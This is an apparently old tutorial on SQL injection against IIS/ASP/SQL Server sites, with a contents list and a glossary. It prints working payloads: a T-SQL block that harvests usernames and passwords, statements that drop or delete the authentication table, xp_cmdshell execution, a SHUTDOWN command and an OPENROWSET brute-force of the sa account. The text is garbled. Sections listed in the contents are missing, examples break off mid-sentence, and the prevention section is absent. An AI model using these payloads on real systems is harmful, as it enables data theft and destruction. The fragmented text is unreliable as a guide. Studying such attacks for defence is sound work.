SQL Injection
SQL Injection
[Abstract]...........................................................................................................................2
What is SQL Injection?...................................................................................................2
Test Environment for Checking SQL Injections:......................................................2
Architecture:...................................................................................................................3
Database Management System:..................................................................................3
Front- end Structure:......................................................................................................4
SQL Injections [At the Database Level].......................................................................6
Bypassing User Authentication:...............................................................................6
How to Secure against illegal authentication?.................................................................................7
Determine column of the table:................................................................................8
Getting all Columns of the Table: (Using Group by Clause)...............................8
Determining the Number of Columns: (Using Union Clause)..........................9
Finding Data types: (using aggregate functions)................................................10
Why we need all columns and Data Types?....................................................................................10
Getting Username & Password from table:..........................................................10
Inserting Values in the Table:..................................................................................13
Updating Values of the Table:..................................................................................13
Deleting Entire Data from the Table: (using Delete or Drop statement)......14
Displaying desired Information from the table in the Browser:.....................14
SQL Injections [Going beyond the Databases]........................................................15
Getting server name:.................................................................................................15
Xp_cmdshell :..............................................................................................................16
Shutting Down the SQL Server:...............................................................................16
Brute Force to Find Password of SQL Server:......................................................16
Xp_regread and Xp_regwrite extended procedure:............................................17
Xp_servicecontrol:.....................................................................................................18
Bulk Insert Statement:..............................................................................................19
How to prevent against SQL Injections:...................................................................19
Appendix:.........................................................................................................................20
Union Clause:...............................................................................................................20
Group By Clause:..........................................................................................................20
Delete/Drop statement:...............................................................................................20
ODBC driver:................................................................................................................20
Microsoft Internet Information Server (IIS):............................................................21
[Abstract]
This document discuss in detail common as well as some advance SQL
Injection techniques as it applies to Microsoft Internet Information Server
/ Active Server Pages / Microsoft SQL Server. It discusses the various ways
in which SQL can be injected & how one can protect him against the SQL
injections. This document also contains brief description of the terms
used in the context of databases & web Application.
The first step before SQL Injections is to test whether a site is vulnerable
to SQL Injections or not. It can be achieved by giving some arbitrary
input. If input results in an error message (other than user generated
error message), it means site is vulnerable to SQL Injections. To find
whether a sire is vulnerable to SQL injections try followings special
characters in input:
‘ ; , ‘‘ % - *
The above error message is giving information that the name field of the
table is of VARCHAR type. By proceeding in the same manner & applying
aggregate functions on the rest of the columns we can get data types for
all the columns.
Why we need all columns and Data Types?
All column names might be required to insert values in all columns. Here
it might be a question why I need to insert values in all fields, why not
only on selected fields? The answer for this is some columns don’t
support null values and we have to specify some value for such columns
otherwise it won’t be possible to insert values into table.
Begin
Declare @col varchar(8000)
Set @col = ':' (you can give any value instead of : )
select @col = @col + 'username:' + rtrim(name)+ 'Password:' + rtrim
(password) + '' from authentication where name > @col
Select @col as col into temp_table
End;
Deleting Entire Data from the Table: (using Delete or Drop statement)
An attacker can make our life much more difficult by dropping the data of
entire table by using delete statement or Drop table statement. He just
has to enter a simple statement: '; drop table authentication; -- or Skillz’
delete from authentication; -- in the username textbox.
When this statement is submitted to the server, query becomes:
Select * from authentication where name = ‘‘ drop table authentication;
--
or
Select* from authentication where name = ‘Skillz’ delete from
authentication;--
And the result of this query is: We lost all data stored in the table
authentication
Once the attacker has got control to the database, they are likely to use
that access to gain further control. An attacker can achieve this by using
following:
Select @@servername will return the server name & when it is compared
with the first column of authentication table (which is a numeric column)
ODBC will generate an error & server name will be printed in the Browser.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'MIDDLEEARTH' to a column of data type int.
/verify.asp, line 28
Xp_cmdshell :
An attacker can use SQL-SERVER in- built procedure (xp_cmdshell) to get
the listing of existing directories/files on the server.
Eg. : ' Xp_cmdshell 'dir'
When this value is submitted at the server site, the SQL Query becomes:
Select * from authentication where name = ‘‘; SHUTDOWN .As ‘;’ is the
command separator in SQL server, after executing the select statement it
executes SHUTDOWN statement which close the SQL server & further
request send to the server will fail.
Using SQLOLEDB:
Exec XP_execresultset N’ select * from OPENROWSET (‘’ SQLOLEDB ‘’, ‘’
‘’; ‘’ sa ‘’; ‘’ foo ‘’; ’’ select @@version ‘’)’ N’master
For example, to read into the variable @test from the value 'TestValue'
from the key 'SOFTWARE\Test' from the 'HKEY_LOCAL_MACHINE', an
attacker can use:
(This determines what null- session shares are available on the server)
(This will reveal all of the SNMP commu nities Configured on the server.
With this information, an attacker can probably reconfigure network
appliances in the same area of the network, since SNMP communities
tend to be infrequently changed, and shared among many hosts)
For example, to write the variable 'Test' to the 'TestValue' value, key
'SOFTWARE\Test', 'HKEY_LOCAL_MACHINE' an attacker can use:
Xp_servicecontrol:
Appendix:
Union Clause:
Union clause is used to combine results of two queries.
Both queries must have Equal number of columns with same
data types.
Group By Clause:
Group by Clause is used to group some related data.
Columns appearing in the select list must be included in Group
By clause or they must used with some group by functions.
Having clause can be used to restrict groups.
Delete/Drop statement:
Delete statement deletes entire data of the table, but it doesn’t
delete structure of the table.
Drop statement delete entire data as well as table structure.
ODBC driver:
Open Database Connectivity (ODBC) is an application-
programming interface (API) for programs that use SQL to access data.
ODBC is a multi- database API because an ODBC program can operate
with heterogeneous databases and disparate SQL DBMS without
requiring source code changes. Microsoft created ODBC by extending a
Call Level Interface from the SQL Access Group (now part of The Open
Group).
Microsoft Internet Information Server (IIS): Internet information server is
a World Wide Web server, contains features of both web server & Ftp
server. IIS allows publishing web pages over the Internet & extent the
capabilities of the web pages using ASP.
ActiveX Data Objects (ADO): ADO is a powerful & ready to use Object
Model that is used to access data .ADO is preferred data object to use with
IIS & web applications. ADO is very powerful & flexible as it can be used
with any database management system like Microsoft SQL Server, MS
Access or Oracle & Still with same programming model, regardless of
features of particular database.